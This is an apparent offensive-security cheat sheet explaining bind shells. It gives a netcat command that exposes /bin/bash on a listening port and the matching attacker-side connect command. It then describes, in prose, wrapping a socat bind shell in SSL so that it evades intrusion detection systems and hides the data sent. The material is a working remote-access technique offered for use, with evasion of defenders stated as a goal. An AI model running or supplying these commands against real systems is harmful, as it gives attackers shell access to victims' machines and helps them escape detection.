In a bind shell, the attacker connects to the target computer.
Netcat
On the victim machine, run the following command:
victim> $ nc -nlvp 4444 -e /bin/bash
On the attacker side, connect to the victim with this command :
attacker> $ nc -nv <victim.IP> 4444
Socat
To add encryption to a bind shell, rely on Secure Socket Layer certificates. This level of encryption will assist in evading intrusion detection systems (IDS) and will help hide the sensitive data transceived.
Now that the key and certificate have been generated, convert them to a format socat will accept. To do so, combine both the bind_shell.key and bind_shell.crt files into a single .pem file before creating the encrypted socat listener.